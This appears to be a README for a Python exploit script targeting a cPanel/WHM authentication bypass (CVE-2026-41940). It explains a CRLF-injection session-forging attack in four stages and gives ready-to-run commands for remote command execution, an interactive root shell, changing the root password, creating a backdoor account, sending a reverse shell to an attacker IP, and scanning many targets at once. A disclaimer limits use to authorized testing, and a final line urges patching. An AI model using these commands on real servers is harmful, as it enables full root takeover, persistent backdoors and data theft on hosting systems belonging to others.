CVE-2026-41940: cPanel/WHM Authentication Bypass (Single & Multi-Target)

Disclaimer: This document and the associated script (exploit.py) are provided strictly for educational purposes, security research, and authorized penetration testing. Do not use this software against systems you do not own or do not have explicit permission to test.

Overview

exploit.py is a script that demonstrates an authentication bypass vulnerability (CVE-2026-41940) in cPanel & WHM. The vulnerability allows an unauthenticated attacker to inject a root session into the daemon cache via a CRLF injection flaw, ultimately granting root-level WHM access without requiring valid credentials.

Vulnerability Analysis & Exploit Flow

The exploit works by leveraging a CRLF (Carriage Return Line Feed) injection vulnerability within the Basic Authentication handling mechanism, combined with a session propagation flaw. The script automates the attack in four stages:

1. Pre-Auth Session Minting: Connects to public login endpoints (e.g., /login/ or /cgi/login.cgi) to acquire a baseline unauthenticated session cookie (whostmgrsession).
2. CRLF Injection: Sends a crafted Basic Authentication header containing a Base64-encoded payload that injects root session fields directly into the cpsrvd session cache. The server's redirect response leaks the generated security token (cpsess).
3. Session Propagation: The raw session cookie is sent to an authenticated WHM endpoint, triggering do_token_denied to propagate the forged session into the daemon cache — making it a valid authenticated session.
4. Verification: Accesses restricted WHM API endpoints (e.g., /json-api/version) using the forged session to confirm root-level access.

Prerequisites

• Python 3.x
• requests library

pip install requests

Usage

python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]

Arguments

Target Selection

Network & Core Options

Exploitation Options (Post-Bypass)

Output Options

Examples

# Check if target is vulnerable
python exploit.py --target https://target:2087 --check

# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump

# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session

# Execute a command
python exploit.py --target https://target:2087 --exec "id"

# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell

# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'

# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1

# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com

# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444

# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check

# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20

# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json

Interactive Shell Commands

When using --shell, the following commands are available:

Reminder

Update the latest cPanel/WHM security patches immediately.